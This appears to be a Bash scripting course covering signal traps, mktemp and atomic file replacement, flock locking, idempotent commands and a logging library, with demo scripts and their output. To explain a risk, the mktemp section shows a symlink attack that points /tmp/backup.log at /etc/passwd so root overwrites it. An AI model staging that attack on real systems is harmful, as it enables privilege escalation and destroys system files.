sed 's/^set -Eeuo/set -euo/' trap-demo.sh > trap-demo-noE.sh bash trap-demo-noE.sh; echo "rc=$?"
downloading… verifying… [EXIT] cleaning up (exit code 1) rc=1
trap 'echo "[TERM trap] at ${SECONDS}s" >&2; exit 143' TERM
trap 'echo "[EXIT trap] rc=$?" >&2' EXIT
echo "pid $$, mode=$1" >&2
if [[ $1 == fg ]]; then sleep 5; else sleep 5 & wait $!; fi
echo "not reached"
bash sig.sh fg & p=$!; sleep 1; kill -TERM $p; wait $p; echo "rc=$?" bash sig.sh bg & p=$!; sleep 1; kill -TERM $p; wait $p; echo "rc=$?"
pid 798, mode=fg [TERM trap] at 5s [EXIT trap] rc=143 rc=143 pid 801, mode=bg [TERM trap] at 1s [EXIT trap] rc=143 rc=143
In fg mode the signal arrives at second 1, but the trap runs only at second 5 (after sleep ends); in bg mode it runs immediately. After bg mode exits, the background sleep keeps running, so production scripts should, in the EXIT trap, kill "${child_pid:-}" 2>/dev/null || true.
bash -c 'trap "echo got INT" INT; echo started; sleep 3; echo finished-normally' & p=$! sleep 1; kill -INT $p; wait $p; echo "rc=$?" timeout -s INT 1 bash -c 'trap "echo got INT; exit 130" INT; sleep 5'; echo "rc=$?"
started finished-normally rc=0 got INT rc=124
The first background script never receives INT (it was already ignored at startup, so it cannot be trapped). The second, started via timeout in the foreground, catches INT normally; timeout itself returns 124 because of the timeout.
rm -f ~/bashlab/ch04/trap-demo-noE.shProblem: The script switches the site to maintenance mode at the start and switches it back at the end; the operator pressed Ctrl-C midway, and the site stayed on the maintenance page for 40 minutes. Fix: Right after maintenance mode is turned on, register a “restore” action in the EXIT cleanup chain, and turn the INT/TERM traps into exit 130/143; in EXIT, decide based on $? whether to restore or raise an alert. Limitation: SIGKILL (such as the OOM killer,kill -9) cannot be handled, so critical state needs external monitoring as a fallback.
Problem: In the main loop of a Bash polling service, sleep 60,systemctl stop after SIGTERM is sent the trap is deferred until sleep ends; sometimes it is still processing the next round, exceeding TimeoutStopSec the timeout and getting SIGKILLed, leaving temporary files behind. Fix:sleep 60 & wait $!; in EXIT, clean up the background PID. Note: systemd by default KillMode=control-group sends SIGTERM to all processes in the cgroup, so sleep also receives it, but scripts should not rely on this default.
Problem: A shared library function internally wrote trap 'rm -f "$tmp"' EXIT, overwriting the main script's EXIT trap that released the lock, so the lock file stayed forever (a PID-file lock was used). Fix: Only let the entry script set traps; library functions register via util::cleanup_add ; switch to flock (the lock is released automatically when the fd closes; see Module 4).
Cause: the failure happens in a function, command substitution or subshell, and set -E; or the failure is in an ignored context such as if/while/&&/||.
set -o | grep -E 'errtrace|errexit'
Fix: use set -Eeuo pipefail; explicitly check return values for functions in conditional contexts.
Cause: With -E , a failure inside a command substitution first fires ERR in the subshell, then the failed assignment fires it again in the parent shell; without -e , an ERR inside a function is followed by the function returning non-zero, which fires it again at the call site.
Fix: add at the start of the handler function (( BASH_SUBSHELL == 0 )) || return (the opsctl approach), or report only at the top level.
Cause: Misspelled signal name, or using sh (dash) with Bash-specific ERR/DEBUG/RETURN.
trap -l | head; ps -p $$ -o comm=
Fix: Confirm you are running with bash (the shebang is #!/usr/bin/env bash, not sh script.sh).
Cause: Bash is waiting for a foreground command, so the trap is deferred.
Fix: Change the long wait to cmd & wait $!, and clean up child processes in EXIT; external commands themselves must also respond to SIGTERM.
Cause:trap "rm -f $tmp" EXIT Double quotes were used, and when the trap was set, $tmp was still empty.
Fix:trap 'rm -f -- "$tmp"' EXIT (single quotes, expanded when it fires), or first mktemp and then set the trap.
trap 'echo "ERR rc=$? line=$LINENO cmd=$BASH_COMMAND" >&2' ERR
trap 'exit 143' TERM while true; do poll_once; sleep 60 & wait $!; done
bash job.sh & , then kill -INT, and found the INT trap did not fire. Did you write the trap wrong?Not necessarily. Background commands started by a non-interactive shell ignore SIGINT, and a signal ignored on entry cannot be trapped, so the trap has no effect. cron and systemd stop jobs by sending SIGTERM (systemd's default), so you should also trap TERM, and use kill -TERM to test, or use timeout -s INT to test INT in the foreground.
No English video verified via oEmbed that specifically explains Bash trap firing order; please rely on this lesson's animation and the documents below.
/tmp/myscript.$$ the two attacks on such predictable filenames: symlink attacks and pre-creation races (TOCTOU).mktemp,mktemp -d,-p DIR,--suffix, and understand the permissions they create (file u+rw, directory u+rwx, minus umask).${var:?} to prevent rm -rf "$var/" from turning into rm -rf /.mv” for atomic replacement, and understand why it is not atomic across filesystems.GNU coreutils manual: “Create a temporary file or directory, safely, and print its name. … If TEMPLATE is not specified, use tmp.XXXXXXXXXX, and --tmpdir is implied. Files are created u+rw, and directories u+rwx, minus umask restrictions.” The key word is “safely”: mktemp replaces the X's in the template with random characters and creates the file with O_CREAT|O_EXCL an exclusive mode. If a file with that name (including a symbolic link) already exists, creation fails and it retries with another name,and it will not follow a symbolic link placed by an attacker.
| Form | Result | Notes |
|---|---|---|
mktemp | $TMPDIR/tmp.XXXXXXXXXX (/tmp when TMPDIR is unset) | file, mode 600 |
mktemp -d | directory, mode 700 | Recommended: put all temporary files in one directory so cleanup happens only once rm -rf |
mktemp -p DIR name.XXXXXX | create in a specified directory | for atomic replacement “in the same directory as the target” |
mktemp "${TMPDIR:-/tmp}/opsctl.XXXXXXXX" | with a prefix, for easy identification | a form also compatible with macOS/BSD |
mktemp --suffix=.csv | keep the extension | GNU extension; not supported by BSD |
mktemp -t name.XXXXXX | relative to TMPDIR | marked deprecated by GNU, and BSD semantics differ; avoid using |
mktemp -u | prints the name only, does not create | the manual explicitly marks it “unsafe”; do not use |
echo data > /tmp/backup.log. The attacker in advance ln -s /etc/passwd /tmp/backup.log, and the redirection follows the link and overwrites /etc/passwd. (Modern Linux's fs.protected_symlinks=1 in world-writable sticky directories restricts such following, but this cannot be relied on for script correctness.)[[ -e $f ]] || touch "$f" In between the check and the creation there is a time window (TOCTOU), in which another process can create a file with the same name first.umask 022 a file created by hand is readable by everyone; when it contains keys or customer data it is a leak. mktemp's 600/700 permissions avoid this./tmp/report.tmp, and their results overwrite each other; $$ is unique only within the same PID namespace, and predictable.workdir=$(mktemp -d "${TMPDIR:-/tmp}/report.XXXXXXXX")
trap 'rm -rf -- "${workdir:?}"' EXIT # ${workdir:?}: errors out when empty instead of running rm -rf ""
tmp_out=$(mktemp "$(dirname -- "$out")/.${out##*/}.XXXXXX")
generate >"$tmp_out" # on failure set -e exits, and $out keeps its old content
chmod 0644 -- "$tmp_out" # mktemp defaults to 600; loosen as needed
mv -f -- "$tmp_out" "$out" # rename(2): readers see either the old file or the new file
Why it must be “same directory”:mv calling within the same filesystem rename(2), atomically replaces the directory entry; across filesystems (for example, /tmp is tmpfs and the target is in /var),mv it degrades to “copy + delete”, and readers may see a half-written file. rename is a metadata operation; if you also need durability across power loss, you must, before mv, sync the file (GNU coreutils 8.24+'s sync FILE) — this is a database-level requirement that ordinary ops scripts usually do not need.
| Use | Location | Reason |
|---|---|---|
| intermediate data, extraction, sorting | mktemp -d ($TMPDIR or /tmp) | private directory, cleaned up together |
| replacing the final output | same directory as the target: mktemp -p "$(dirname "$out")" | guarantees an atomic rename |
| large files (GB scale) | /var/tmp or a data disk | /tmp may be a RAM disk (tmpfs) and is cleared on reboot |
| systemd service | PrivateTmp=yes + RuntimeDirectory= | a private /tmp for each service, automatically cleared when it stops |
/tmp/$$ is unique enough” — it is predictable, and in containers the PID often starts at 1. ② “rm -rf "$dir/"* is very safe” —dir when empty it becomes rm -rf /*; use "${dir:?}" and only delete the path your own mktemp produced. ③ “mv is always atomic” — only within the same filesystem. ④ “Files created by mktemp are readable by others” — the default is 600; if others need to read it, you must explicitly chmod. ⑤ “Putting cleanup at the end of the script is enough” — any set -e exit,die, or Ctrl-C will skip it.Select three dimensions and click “▶ Run”. The left side shows the state of the target file report.csv , and the right side shows /tmp leftover temporary files. Goal: under every exit method, you end up with “old file intact + no leftovers” or “new file complete + no leftovers”.
| Command | Purpose | Key options / notes |
|---|---|---|
mktemp [-d] [TEMPLATE] | create a temporary file / directory and print its path | the last part of the template needs at least 3 consecutive X's |
mktemp -p DIR / --tmpdir[=DIR] | specify directory | without DIR, $TMPDIR or /tmp is used |
mktemp --suffix=SUFF | add suffix | GNU extension |
mktemp -q | no diagnostics printed on failure | still returns non-zero |
umask 077 | make subsequently created files belong only to you | set in a subshell so other steps are not affected |
mv -f -- SRC DST | atomic replacement (same filesystem) | -- prevents filenames starting with - |
stat -c '%a %U %n' FILE / df -P DIR | view permissions / filesystem | determine whether an atomic rename is possible |
export TMPDIR=~/bashlab/ch04/tmp; mkdir -p "$TMPDIR" d=$(mktemp -d); f=$(mktemp); echo "$d"; echo "$f" stat -c '%a %n' "$d" "$f" mktemp --version | head -1 rm -rf -- "$d" "$f"
/home/you/bashlab/ch04/tmp/tmp.Wri69twf20 /home/you/bashlab/ch04/tmp/tmp.L0WXjwQ2kc 700 /home/you/bashlab/ch04/tmp/tmp.Wri69twf20 600 /home/you/bashlab/ch04/tmp/tmp.L0WXjwQ2kc mktemp (GNU coreutils) 9.x
How to verify: The 700/600 permissions come from the GNU manual (u+rwx / u+rw minus umask). In Git Bash on Windows, ls -l the displayed permissions are meaningless. If Ubuntu 26.04 uses uutils coreutils,mktemp --version it shows the uutils version; basic options are compatible, but some error messages differ.
tmpdir=$(mktemp -d "${TMPDIR:-/tmp}/myjob.XXXXXXXX") || exit 1 # all three support “templates with a path”
#!/usr/bin/env bash
# atomic-report.sh OUT —— generate a per-environment report, atomically replace OUT; do not leave half-finished output on interruption
set -Eeuo pipefail
out=${1:?usage: atomic-report.sh OUTPUT_FILE}
src="$HOME/bashlab/data/servers.csv"
workdir=$(mktemp -d "${TMPDIR:-/tmp}/report.XXXXXXXX") # private working directory (700)
tmp_out=$(mktemp "$(dirname -- "$out")/.${out##*/}.XXXXXX") # same directory as the target (600)
cleanup() {
local rc=$?
rm -rf -- "$workdir"
rm -f -- "$tmp_out" # after a successful mv it no longer exists, so rm -f will not error
exit "$rc"
}
trap cleanup EXIT
trap 'exit 130' INT
trap 'exit 143' TERM
tail -n +2 -- "$src" | cut -d, -f2 | sort >"$workdir/envs"
{
printf 'env,count\n'
uniq -c <"$workdir/envs" | while read -r n env; do
printf '%s,%s\n' "$env" "$n"
sleep "${SLOW:-0}" # for demo: slow down so you can interrupt midway
done
} >"$tmp_out"
chmod 0644 -- "$tmp_out"
mv -f -- "$tmp_out" "$out" # rename(2) within the same filesystem is atomic
echo "generated $out" >&2cd ~/bashlab/ch04 && export TMPDIR=~/bashlab/ch04/tmp && mkdir -p "$TMPDIR" bash atomic-report.sh report.csv && cat report.csv
generated report.csv env,count dev,1 prod,3 staging,1
Your servers.csv depends on the data generated in Lesson 1, so the counts will differ.
echo "old-content" > report2.csv SLOW=2 bash atomic-report.sh report2.csv & p=$! sleep 1; ls -A | grep report # you can see .report2.csv.XXXXXX at this point kill -TERM $p; wait $p; echo "rc=$?" ls -A | grep report; cat report2.csv; ls -A "$TMPDIR"
.report2.csv.fHLefh atomic-report.sh report.csv report2.csv rc=143 atomic-report.sh report.csv report2.csv old-content
The last ls -A "$TMPDIR" has no output — the working directory has been cleaned up.
.report2.csv.* and $TMPDIR/report.* leftovers:
sed '/^trap /d' atomic-report.sh > no-trap.sh SLOW=2 bash no-trap.sh report2.csv & p=$!; sleep 1; kill -9 $p; wait $p ls -A | grep report; ls -A "$TMPDIR"
Using kill -9 to simulate an uncatchable termination: no trap can save it; this is why systemd PrivateTmp= / periodic cleanup (systemd-tmpfiles) exists.
rm -f -- ~/bashlab/ch04/no-trap.sh ~/bashlab/ch04/.report2.csv.* ~/bashlab/ch04/report2.csv rm -rf -- ~/bashlab/ch04/tmp/report.*
Problem: A collection script that runs every 5 minutes does not clean up on abnormal exit /tmp/collect.$$.*, and after three months /tmp (tmpfs) filled up memory. Fix: Change to mktemp -d + EXIT trap; for services run by a systemd timer, add PrivateTmp=yes; configure systemd-tmpfiles cleanup rules as a fallback. Limitation: SIGKILL or power loss can still leave leftovers, so the fallback cleanup cannot be skipped.
Problem: A config generation script render > /etc/nginx/conf.d/upstream.conf && nginx -s reload, and a scheduled reload happened to read it mid-write, loading half a config and causing a 502. Fix: mktemp in the same directory → nginx -t -c validate → mv atomic replace → reload. Note: Do not end the temporary filename with .conf , otherwise it may be include conf.d/*.conf loaded early.
Problem: The script runs as the container ENTRYPOINT,$$ is 1, and when multiple containers share a mounted volume, /shared/lock.$$ they conflict. Fix: Use mktemp to generate names; use flock when mutual exclusion across containers is needed (Module 4).
Cause: The target directory does not exist (common with --out pointing to a path not yet created).
Fix: first validate [[ -d $(dirname -- "$out") ]], or explicitly mkdir -p (confirm this is the expected behavior).
Cause: The last part of the template needs at least 3 consecutive X's (6 or more recommended). Fix:report.XXXXXXXX.
Cause: The temporary file and the target are on different filesystems.
df -P "$tmp" "$out" | awk 'NR>1{print $6}'
Fix: mktemp inside the target directory (-p "$(dirname -- "$out")").
Cause: mktemp creates files with mode 600, and after mv the mode and root ownership are kept.
Fix: before mv, chmod 0644 and, where necessary, chown.
Cause: The variable was empty during cleanup,rm -rf "$dir/"* and the expansion became the contents of the current or root directory.
Fix: Only clean up the full path returned by mktemp: rm -rf -- "${dir:?}"; do not append /*.
tmpd=$(mktemp -d "${TMPDIR:-/tmp}/job.XXXXXXXX")
trap 'rm -rf -- "${tmpd:?}"' EXITjq processed result back to config.json.tmp=$(mktemp "$(dirname -- config.json)/.config.json.XXXXXX")
jq '.replicas = 3' config.json >"$tmp" && mv -f -- "$tmp" config.json || { rm -f -- "$tmp"; exit 1; }/tmp/sync.log. The security audit says it carries privilege-escalation risk, while developers say “only ops can log into our servers.” How do you assess it?Predictable filename + root writes = any local user who can create files in /tmp (including a compromised low-privilege service account) can plant a symlink so root overwrites arbitrary files. The kernel protected_symlinks can mitigate this but it should not be relied on. Fix: write logs to a root-only directory (such as /var/log/sync/), use mktemp for temporary files; for the systemd service, use PrivateTmp=yes.
No YouTube video verified via oEmbed that specifically explains mktemp temporary files and atomic replacement. The following documents are authoritative:
exec {fd}>), and the meanings of -n,-w,-E,-s,-o .flock(1) from util-linux, it is a command-line wrapper for the system call flock(2) , providing advisory locks (advisory lock): only processes that also use flock exclude each other; ordinary cat,echo > are not affected. The three forms in the man page:
flock [options] file|directory command [arguments] flock [options] file|directory -c command flock [options] number
| Option | Manual text | Purpose |
|---|---|---|
-n | “Fail rather than wait if the lock cannot be immediately acquired.” | cron jobs: skip if an instance already exists |
-w SECS | “Fail if the lock cannot be acquired within seconds.” | wait for a while (decimals allowed) |
-E CODE | “The exit status used when the -n option is in use, and the conflicting lock exists … The default value is 1.” | distinguish “lock conflict” from “command failure” |
-s / -x | shared (read) lock / exclusive (write) lock (default -x) | multiple readers, one writer |
-o | “Close the file descriptor on which the lock is held before executing command.” | prevent a daemon started by the command from inheriting the lock |
-u | “Drop a lock. … usually not required, since a lock is automatically dropped when the file is closed.” | release early |
opsctl deploy, one switching a symlink while the other is deleting an old version.A homemade “check-then-create” lock ([[ -e lock ]] || touch lock) has a race window; flock(2) the kernel guarantees atomicity, and the kernel releases it automatically when the process dies, so no stale lock is left behind.
exec {fd}>>"$lockfile" Let Bash (4.1+) automatically allocate an fd ≥ 10 and store it in the variable fd ; flock -n "$fd" lock it. Use >> rather than >, to avoid truncating information that may be recorded in the lock file.exit, SIGKILL, all the same) → the kernel closes all fds → lock released. So flock does not need to be unlocked in a trap.nohup worker & starts a long-running process, that process holds the lock indefinitely; use worker {fd}>&- & to close the fd in the child process, or in command form use flock -o.rm lockfile, C starts and creates a new file and immediately gets the lock — now B (old inode) and C (new inode) both enter the critical section. The lock file should stay permanently./run/lock/ (tmpfs, root write needed); user-level tasks use $XDG_RUNTIME_DIR or the application's own directory (opsctl uses $OPSCTL_HOME/var/lock). Do not put it at a fixed name in the world-writable /tmp (the symlink problem from Module 3).A lock ensures only one instance at a time, but the same operation may, due to retries, cron catch-up runs or manual reruns,run multiple times in succession. Idempotent means running once and running many times lead to the same final state. The pattern is “describe the target state, then converge”:
| Non-idempotent | Idempotent form |
|---|---|
mkdir /srv/app (second run errors) | mkdir -p -- /srv/app |
echo "$line" >> /etc/hosts (duplicate appends) | grep -qxF -- "$line" /etc/hosts || echo "$line" >> /etc/hosts |
ln -s v2 current (fails if it exists, or creates inside current/) | ln -sfn -- v2 current |
useradd app | id -u app >/dev/null 2>&1 || useradd app |
| rewrites the output file every time (triggers a downstream reload) | new content vs. old content cmp -s skip if identical (opsctl export) |
| “run a migration once” | write a marker file / version number when done, and check the marker next time |
| Mechanism | Advantages | Drawbacks | Use case |
|---|---|---|---|
| flock | kernel-atomic, auto-released on process death, supports waiting and shared locks | Linux-specific tool (macOS needs it installed separately); NFS behavior depends on implementation | default choice |
mkdir mkdir lock | POSIX-atomic, available everywhere | a SIGKILLed process leaves a stale lock; needs PID checks and timeouts | environments without flock |
| PID file | shows the holder | check and write are not atomic; PID reuse causes false results | for display only, not for mutual exclusion |
| systemd timer | a unit is not started again while the same service is still running | only manages one unit on one host | first choice for scheduled jobs |
| distributed locks (etcd, Consul, database row locks) | cross-host | introduces external dependencies | multiple machines compete for the same resource |
flock -n failing returns 1, and it cannot be told apart from command failure” — use -E 75 a conflict exit code such as this to distinguish them (to keep the 0/1/2/3 convention, opsctl returns 1 on conflict and prints a clear log).Set the task duration, B's start time and locking method, then click “▶ Run”. Grey bars mean waiting, green means running in the critical section, red means conflict or giving up. Turn on “delete the lock file when A ends” to see how mutual exclusion breaks.
# ① wrap the command (simplest in cron)
*/5 * * * * flock -n /run/lock/backup.lock /usr/local/bin/backup.sh
# ② inside the script: open an fd with exec (Bash 4.1+ allocates the fd automatically)
exec {lock_fd}>>"$HOME/bashlab/opsctl/var/lock/export.lock"
flock -n "$lock_fd" || { echo "an instance is already running" >&2; exit 1; }
# ③ subshell + fixed fd (the man page example style)
(
flock -n 9 || exit 1
# … critical section …
) 9>"$HOME/bashlab/ch04/var/demo.lock"
# ④ the script locks itself (man page example; suits cases where you do not want to change the script body)
[ "${FLOCKER}" != "$0" ] && exec env FLOCKER="$0" flock -en "$0" "$0" "$@" || :
| Command | Effect |
|---|---|
flock -n -E 75 LOCK cmd | exits with 75 on conflict (to distinguish it from cmd's own failure) |
flock -w 30 LOCK cmd | wait at most 30 seconds |
flock -s LOCK cat data | shared lock: multiple readers in parallel |
flock -o LOCK start-daemon | close the lock fd before running the command so a daemon does not inherit the lock |
flock --verbose … | report how long it waited / why it failed |
cat /proc/locks,lslocks | view locks in the system and their holder PIDs (lslocks comes from util-linux) |
fuser -v LOCK / lsof LOCK | see who has the lock file open |
lslocks -o COMMAND,PID,TYPE,MODE,PATH | grep -E 'COMMAND|bashlab'
COMMAND PID TYPE MODE PATH bash 41237 FLOCK WRITE /home/you/bashlab/ch04/var/demo.lock
lockdir="$HOME/bashlab/ch04/var/job.lockdir" if mkdir -- "$lockdir" 2>/dev/null; then printf '%s\n' "$$" >"$lockdir/pid" trap 'rm -rf -- "$lockdir"' EXIT # only the process that got the lock registers the deletion else echo "instance already running (pid $(cat -- "$lockdir/pid" 2>/dev/null || echo ?))" >&2 exit 1 fi
mkdir is atomic, but after a process is SIGKILLed, lockdir the lock directory is left behind (a stale lock), needing manual cleanup or kill -0 PID a check before clearing — this is exactly why flock is better.
Requires flock (util-linux) on Linux. The output in this section is an example (the authoring environment has no flock, so it was not actually run); PIDs and times depend on your environment.
#!/usr/bin/env bash
# locked-job.sh [wait seconds] —— demonstrates flock: only one instance at a time
set -Eeuo pipefail
wait_s=${1:-0}
lock="$HOME/bashlab/ch04/var/job.lock"
mkdir -p -- "${lock%/*}"
exec {fd}>>"$lock"
if (( wait_s > 0 )); then
flock -w "$wait_s" "$fd" || { echo "[$$] still no lock after waiting ${wait_s}s" >&2; exit 1; }
else
flock -n "$fd" || { echo "[$$] an instance is already running, skipping" >&2; exit 1; }
fi
echo "[$$] got the lock (fd $fd), working for 10 seconds…" >&2
sleep 10
echo "[$$] done" >&2bash ~/bashlab/ch04/locked-job.sh; Within 10 seconds, terminal 2:
bash ~/bashlab/ch04/locked-job.sh; echo "rc=$?" bash ~/bashlab/ch04/locked-job.sh 15; echo "rc=$?"
[41301] an instance is already running, skipping rc=1 [41305] got the lock (fd 10), working for 10 seconds… ← appears only after terminal 1 finishes [41305] done rc=0
pkill -9 -f locked-job.sh, then immediately run again locked-job.sh— it gets the lock at once; there is no stale lock.bash -c 'exec {fd}>>"$HOME/bashlab/ch04/var/job.lock"; flock -n "$fd"; sleep 60 & echo "child $!"; echo "parent exits"'
bash ~/bashlab/ch04/locked-job.sh; echo "rc=$?" # the parent has exited, but sleep still holds the lock
lslocks | grep job.lock
child 41320 parent exits [41322] an instance is already running, skipping rc=1 sleep 41320 FLOCK WRITE 0 0 0 /home/you/bashlab/ch04/var/job.lock
Fix: close the lock fd when starting the background process: sleep 60 {fd}>&- &. After finishing, pkill -f "sleep 60".
f=~/bashlab/ch04/var/hosts.demo; touch -- "$f" line="10.0.1.11 web-01" grep -qxF -- "$line" "$f" || echo "$line" >> "$f" grep -qxF -- "$line" "$f" || echo "$line" >> "$f" wc -l < "$f"
1
rm -f -- ~/bashlab/ch04/var/hosts.demo (the lock file may be kept).Problem: After data growth the backup went from 3 minutes to 6 minutes,*/5 so the cron job let two tar processes write the same file at once. Fix:flock -n -E 75 /run/lock/backup.lock backup.sh, monitoring records exit code 75 as “skipped” rather than “failed”; and go further by switching to a systemd timer. Limitation: Skipping means that round has no backup, so there must be an alert on “time of last successful backup”.
Problem: After the deployment script takes the lock, systemctl restart a service ... runs normally; but another script uses nohup ./agent & to start an agent, after which every deployment reports “instance already running”. lslocks The lock holder shows as agent. Fix: When starting the background process, {fd}>&- close the lock fd; in command form use flock -o.
Problem: To “keep things tidy”, a cleanup job deleted every day /var/lock/*.lock, and occasionally two import jobs ran in parallel, duplicating data. Fix: Keep lock files permanently; make the import itself idempotent (deduplicate by batch ID / upsert).
Cause: flock belongs to util-linux, and macOS and Alpine do not ship it by default.
Fix: Debian/Ubuntu: apt install util-linux (usually installed already); Alpine: apk add util-linux (or the simplified flock bundled with BusyBox, with fewer options); macOS: brew install flock or a mkdir lock. opsctl uses util::require_cmd flock and reports it with exit code 3.
Cause: Ordinary users cannot write to /run/lock (or the directory does not exist).
Fix: For user-level tasks, put the lock in $XDG_RUNTIME_DIR or the application directory; for a systemd service use RuntimeDirectory=.
Cause: The lock fd is inherited by a child process started by the script.
lslocks | grep LOCKNAME; fuser -v /path/to/LOCKNAME
Fix: find the holder; close the lock fd when starting background processes, or use flock -o.
Cause: Bash older than 4.1 does not support {var}> automatic fd allocation, or the script was run by sh .
Fix: Confirm you run with Bash ≥ 4.1; on older environments use a fixed fd: exec 9>>"$lock"; flock -n 9.
*/10 * * * * flock -n -E 75 /run/lock/sync.lock /usr/local/bin/sync.sh
exec {lfd}>>"$LOCKFILE"
flock -w 20 "$lfd" || { echo "timeout waiting for lock" >&2; exit 1; }flock is a single-host kernel lock; it only constrains processes on the same machine (the same filesystem implementation). Across hosts you need a distributed lock (such as DynamoDB conditional writes, an etcd lease, or database row locks), or schedule the job on just one machine (leader election, a single-instance CronJob). Also make the update idempotent, or use object-storage conditional writes (If-Match / version numbers).
No YouTube video verified via oEmbed that specifically explains flock the English video. Authoritative references:
log::debug/info/warn/error: level filtering, ISO 8601 timestamps, program name and PID, color only on a terminal, optional file output.printf -v and %(fmt)T to avoid forking once per log line date; know how logger / systemd-cat sends logs to journald.2026-11-17T02:43:15-0500 WARN opsctl[1210]: region is empty, using default value └──── time (with timezone) ────┘ └level┘ └program[PID]┘ └──────── message ────────┘
LOG_LEVEL .| Scenario | Consequence of logging to stdout | Logging to stderr |
|---|---|---|
opsctl servers list | wc -l | line count includes the logs too | counts only data lines |
ips=$(opsctl servers list) | log text mixed into variables | variables contain only data; logs still show on the terminal |
opsctl export … > out.csv | log lines mixed into CSV | file stays clean |
| cron | both get emailed (if MAILTO is configured) | can be 2>>job.log collected separately |
| systemd service | stdout and stderr both go to journald by default; stderr is not automatically marked as error level, so you need <3> a prefix, or logger -p | |
POSIX describes stderr exactly as “for writing diagnostic output”. The Google Shell Style Guide also requires “All error messages should go to STDERR”.
printf -v ts '%(%Y-%m-%dT%H:%M:%S%z)T' -1 is the builtin time formatting in Bash 4.2+; -1 -1 means the current time; it is much faster than $(date …) creating a subprocess each time. Bash 5.0+ also has $EPOCHSECONDS,$EPOCHREALTIME (microseconds) for timing.printf -v line , then write it in one printf '%s\n' "$line" >&2. When multiple processes write the same log file with >> (O_APPEND), each write seeks to the end of the file, so writing a whole line at once usually does not interleave with other processes; splitting one line across several printf calls can interleave (when writing to a pipe, atomicity is only guaranteed up to PIPE_BUF bytes).[debug]=10 [info]=20 [warn]=30 [error]=40; an unknown LOG_LEVEL falls back to info (opsctl's config::init also rejects invalid values as a usage error).[[ -t 2 ]] (stderr is a terminal) and NO_COLOR (no-color.org convention) is not set will ANSI color codes be output, to avoid \e[31m in log files.set -e , the return value 1 of “debug filtered” would exit the script —(( rank >= want )) || return 0, rather than (( rank >= want )) || return.exec 2>>file permanently redirect all stderr, unless you are sure there is no interactive need; a more flexible approach is to OPSCTL_LOG_FILE also write a copy.| Run mode | Recommended |
|---|---|
| Interactive run | stderr (with color) |
| systemd service / timer | stderr is enough (journald adds time and unit name automatically); when a priority is needed, logger -t opsctl -p user.err or systemd-cat -t opsctl -p err |
| cron | 2>>"$HOME/bashlab/log/opsctl.log" or OPSCTL_LOG_FILE=; use with logrotate |
| Container | stdout/stderr, collected by the container runtime; do not write files inside the container |
| needs to be parsed by machines | one JSON per line: jq -nc --arg lvl "$level" --arg msg "$*" '{ts:now|todate,lvl:$lvl,msg:$msg}' (one fork per log line — mind the overhead) |
echo "error" >&2 is too much trouble, just use echo” — once the script is used in a pipe, it pollutes the data. ② “set -x is logging” — it prints every command (including password arguments) to stderr; good for troubleshooting, not for production; when needed, use BASH_XTRACEFD to send it to a separate fd. ③ “Timestamps via $(date) are fine” — one fork per log line makes it noticeably slow when logging tens of thousands of lines in a loop, and the default format changes with locale. ④ “Everything in stderr is an error” — stderr is the “diagnostic” channel, and info-level progress messages belong there too.Drag LOG_LEVEL, switch “where logs are written”, then click “▶ Run opsctl servers list --env prod | wc -l”. Observe what the terminal (stderr) and the pipe (stdout) each receive.
| Form | Effect | Notes |
|---|---|---|
printf -v ts '%(%Y-%m-%dT%H:%M:%S%z)T' -1 | write current time to a variable | Bash 4.2+; -2 means the shell's start time |
${level^^} / ${LOG_LEVEL,,} | uppercase / lowercase conversion | Bash 4.0+ |
>&2 | write to stderr | equivalent to 1>&2 |
[[ -t 2 ]] | whether stderr is a terminal | decides whether to color |
logger -t TAG -p user.warning "msg" | write to syslog / journald | util-linux; --id=$$ records PID |
systemd-cat -t TAG -p err cmd | send command output to journald | |
journalctl -t TAG -p warning --since today | query by tag and priority | |
exec {xfd}>>trace.log; BASH_XTRACEFD=$xfd; set -x | write xtrace to a separate file | Bash 4.1+; PS4='+ ${BASH_SOURCE##*/}:${LINENO}: ' adds location |
. lib/log.sh OPSCTL_PROG=logdemo log::debug "read config etc/opsctl.conf" log::info "starting export of servers" echo "web-01,prod" # data → stdout log::warn "region is empty, using default value" log::error "connection timed out"
export NO_COLOR=1 bash logdemo.sh LOG_LEVEL=debug bash logdemo.sh | wc -l LOG_LEVEL=warn bash logdemo.sh 2>/dev/null
2026-11-17T02:43:15-0500 INFO logdemo[1973]: starting export of servers web-01,prod 2026-11-17T02:43:15-0500 WARN logdemo[1973]: region is empty, using default value 2026-11-17T02:43:15-0500 ERROR logdemo[1973]: connection timed out 2026-11-17T02:43:15-0500 DEBUG logdemo[1974]: read config etc/opsctl.conf 2026-11-17T02:43:15-0500 INFO logdemo[1974]: starting export of servers 2026-11-17T02:43:15-0500 WARN logdemo[1974]: region is empty, using default value 2026-11-17T02:43:15-0500 ERROR logdemo[1974]: connection timed out 1 web-01,prod
wc -l Only 1 data line is counted; the last command discards stderr so only data remains.
LOG_LEVEL, include guard, _OPSCTL_LOG_SH all remain unchanged):
# shellcheck shell=bash
# lib/log.sh —— logging functions: log::debug / log::info / log::warn / log::error (v0.2)
# Convention: all logs go to stderr; stdout is reserved for “data” (it can be captured by pipes, redirection, $(...)).
# v0.2 adds: PID, color only on terminals (respects NO_COLOR), OPSCTL_LOG_FILE saves a copy, always returns 0
[[ -n ${_OPSCTL_LOG_SH-} ]] && return 0 # include guard: return immediately when sourced again
_OPSCTL_LOG_SH=1
declare -gA _LOG_RANK=([debug]=10 [info]=20 [warn]=30 [error]=40)
LOG_LEVEL=${LOG_LEVEL:-info} # set by bin/opsctl after parsing the config
log::_emit() { # log::_emit <level> <message...>
local level=$1; shift
local want=${_LOG_RANK[$LOG_LEVEL]:-20}
(( ${_LOG_RANK[$level]:-20} >= want )) || return 0
local line color='' reset=''
# %(...)T is the printf builtin time format (Bash 4.2+); no need to fork a date process
printf -v line '%(%Y-%m-%dT%H:%M:%S%z)T %-5s %s[%d]: %s' -1 "${level^^}" "${OPSCTL_PROG:-opsctl}" "$$" "$*"
if [[ -t 2 && -z ${NO_COLOR-} ]]; then
case $level in
debug) color=$'\e[2m' ;; warn) color=$'\e[33m' ;; error) color=$'\e[31m' ;;
esac
[[ -n $color ]] && reset=$'\e[0m'
fi
printf '%s%s%s\n' "$color" "$line" "$reset" >&2 # write the whole line at once
if [[ -n ${OPSCTL_LOG_FILE-} ]]; then
printf '%s\n' "$line" >>"$OPSCTL_LOG_FILE" || true # the file never contains color
fi
return 0
}
log::debug() { log::_emit debug "$@"; }
log::info() { log::_emit info "$@"; }
log::warn() { log::_emit warn "$@"; }
log::error() { log::_emit error "$@"; }
